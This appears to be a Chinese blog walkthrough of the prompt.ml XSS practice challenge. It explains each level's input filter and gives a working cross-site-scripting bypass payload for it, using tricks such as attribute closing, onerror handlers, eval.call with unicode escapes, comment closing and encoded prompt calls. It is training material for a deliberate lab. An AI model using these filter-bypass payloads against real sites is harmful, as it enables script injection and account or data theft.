当前位置:网站首页>xss绕过:prompt(1)
xss绕过:prompt(1)
2022-07-31 00:00:00 【Miracle_ze】
本次练习网站:http://prompt.ml/
练习网站
要求:弹窗成功出现you win
0x0:闭合引号

输出在value内,首先闭合再进行prompt(1)的弹窗。
1"><script> prompt(1)</script>

0x1:html不严谨性,单标签自动补全功能

它过滤了一个完整的标签,当<…/> 存在便过滤为空。为此利用html的自动补全,单标签的>符号功能。
<img src="1" οnerrοr="prompt(1)"

0x02:call函数

因为这里=与( 都被过滤了。使用我们可以使用Unicode编码,不使用html实体编码是因为它不能在JavaScript中使用回无效的。
关于call函数: call把eval绑定在绑定,直接用eval执行字符串,即等价于eval(`prompt(1)`)的执行
call传两个值:eval的指向,与eval执行的值
第一个传值为空时指向Windows的全局变量,后返回字符串prompt(1)。
因为指向全局变量,在全局中有prompt(1)函数,如此就执行这个函数
字符串是eval来执行的,最后返回的是给eval这个返回值
call收到一个值为空于是指向Windows的全局
aaaaa在Windows全局没有这个函数
这里直接将eval执行相当于别名调用,这里就想到与call方法强行指向prompt(1),但是js官网为了安全指向了全局,但是目前第二个参数没有传值,所有undefind。
call的传给指向与执行值
eval的别名:call在这传的值不是空,而是具体的值时就是他的别名。JavaScript中默认别名指向全局
<script>eval.call`${
`prompt\u00281)`}`</script>

0x03:闭合注释

题目中我们将在注释中输入内容,为此考虑闭合注释。但是它过滤了–>的注释方法。为此我们可以使用–!>来闭合第一个注释。后面的注释可以不闭合不影响。
html注释:
1、<!-- -->
2、<!-- -->
JavaScript的注释
1、//
2、 开头使用 -->
解题:
--!><script>prompt(1)</script>

0x04:@的分割作用

题目要求有http://prompt.ml/,为此使用@来使用test.js文件来应用。

http://prompt.ml/@127.0.0.1/test.js

0x05:html的不严谨性,换行连续

题目过滤了on.*=即一定程度上禁用了事假。但是对于html里的事件=换行使用仍然是有效的。
1" type="image" src=1 onerror
="prompt(1)

0x06:# 分割作用

var segments = input.split(‘#’);
#其分割作用,即把http://httpbin.org/post分为组1,把{“name”:“Matt”}分为组2
var formURL = segments[0]; url取第一个组,就如http://httpbin.org/post
var formData = JSON.parse(segments[1]);:data取第二个组,即如{“name”:“Matt”}
form.action = formURL; form.method = ‘post’;
即:把URL给了action;模式设置为POST模式
随后进入循环var i in formData,把 formData的值赋值给i。
而后input.name=i,这个i就是fromdata对象里的key值,也就是name,
然后给value赋值为fromData的值,也就是Matt。
以上这些步骤就相当于创建了一个from表单。
>i:ignor 忽略大小写
创建form后进入下一个if的判断,条件上说明如果没有script或data数据的就无法进入下一步,而是直接判断结果。还有一点就是它要求了为action。
因为这个action会干扰我们直接使用JavaScript:prompt(1),但是我们可以重新定义这个action,将其覆盖之前它的action。也就是如果action的值相同的时候,后一个会把前一个给覆盖掉
综上:
要有使用prompt与#的分割。
依照if的条件!/script:|data:/i.test(document.forms[0].action,使用#。因此填写JavaScript:prompt(1)#{“action”:“Matt”}
JavaScript:prompt(1)#{"action":"Matt"}

0x07:注释绕过让长度限制

题目获取到信息
1、title最多12个字符
2、连接符号是换行符,#分割开
3、join字符转字符串并且用换行符连接其中#分割开,但是为了绕过0-12的slice限制。利用注释把这个分为一段又一段,每段都在范围内。
"><script>/*#*/prompt(/*#*/1)/*#*/</script>

/*"></p><p class="comment" title="*/ 这个为一组注释
注意标签得完整不能分开
标签不完整会失去意义
1、不完整
2、不完整
0x08:Unicode的\u2028与\u2029

Windows的\r\n联用,是换号并开头.
js接受unciode编码的2028行分隔符,2029段分隔符
avascript字符串允许直接输入字符,以及字符的转义形式。但是javascript中有5个字符规定了不能在字符串中直接使用,只能使用他们的转义形式
1、u005c:反斜杠
2、u000D:回车
3、u0028:行分隔符
4、u0029:段分隔符
5、u000A:换行符
题目将<,/ 和‘"’ 给过滤掉了,为此我们利用Unicode换行。
我们想输入的效果
prompt(1)
-->
为此通过Unicode换行在控制器转换再复制:
\u2028:行换行符
即: \u2028prompt(1)\u2028
输入转换的复制一下:
'prompt(1)-->


0X09:转编码,与ſ符号使用

题目把字母全替换为大写了。为此可以使用svg,或者引用文件
<ſvg/οnlοad=prompt(1)>
<ſcript src="http://127.0.0.1/test.js"></ſcript>



0xA:字母插入符号,字母替换空,字母无影响

题目将prompt替换为了alert;'换为了空。利用这个’卡bug,就是出入到prompt中就变成pro’mpt。因为替换为了空,就变成了prompt。
pro'mpt(1)

0xb

这里就是一个技巧"(prompt(1))in"会弹窗
"(prompt(1))in"

0x0c:parseInt函数

'替换为空,导致你如果用之前的方法prom‘’pt依然输入prompt,然后转为alertl了。
利用parseInt,是Javascript内置函数,原型为parseInt ( String s , [ int radix ]),用于解析一个字符串,并返回一个整数。
tostring()方法可把一个Number对象转换为一个字符串,并返回结果。
官方文档:
parseInt(string, radix) 解析一个字符串并返回指定基数的十进制整数,radix 是 2-36 之间的整数,表示被解析字符串的基数。
这个范围2-36是数字加上字母的,
相关文档:parseInt
eval(630038579..toString(30))(1)

0x0f:

这个题与之前的0x07相似不同是限制反而与过滤了*符号为空。为此不能使用
/* . . */的多行注释,可以使用<!-- .. -->实现多行注释。
不可行:
1"><script><!-–#–->prompt(1)<!–-#–-></script>

这个如同显示已经注释了,但是没有成功。为此更改了模块字符串形式。
"><script>`<!–-#–->${
prompt(1)}<!-–#–->`</script>

边栏推荐
- 45. [Application of list linked list]
- 在微服务中使用事件溯源的六大原因 - Herath
- [Meng Xin problem solving] Delete the Nth node from the bottom of the linked list
- HashSet源码解析
- How to open the payment channel interface?
- Data cleaning - ingest using es
- uniapp folding box secondary loop
- @requestmapping注解的作用及用法
- Ukraine's foreign ministry: wu was restored to complete the export of food security
- joiplay模拟器报错如何解决
猜你喜欢

joiplay模拟器如何使用

2022 China Logistics Industry Conference and Entrepreneur Summit Forum will be held in Hangzhou!

$\text{ARC 145}$

实验8(vlan实验)

Flex布局使用

Learn Scope from a Compilation Perspective!

Steven Giesel recently published a 5-part series documenting his first experience building an application with the Uno Platform.

Computer shortcut icon whitening solution

Shell script if statement

实验7(MPLS实验)
随机推荐
Word文件损坏如何修复
align-content、justify-content、align-items三个属性的作用和效果
WebServer流程讲解(注册模块)
flutter 做底部的三个按键,有叠加,有填充
【VisDrone数据集】YOLOV3训练VisDrone数据集步骤与结果
Manually set transaction commit in mysql
After writing business code for many years, I found these 11 doorways, which only experts know
Axure Carousel
【飞控开发基础教程10】疯壳·开源编队无人机-PID 基础原理
Ukraine's foreign ministry: wu was restored to complete the export of food security
【萌新解题】删除链表的倒数第 N 个结点
动态修改el-tab-pane 的label(整理)
Introducing the visualization tool Netron
$\text{ARC 145}$
transition transition && animation animation
uniapp develops WeChat applet - soft exam brushing applet
How to import game archives in joiplay emulator
flex-direction容器属性
Soft Exam Summary
ctfshow 文件包含







>i:ignor 忽略大小写


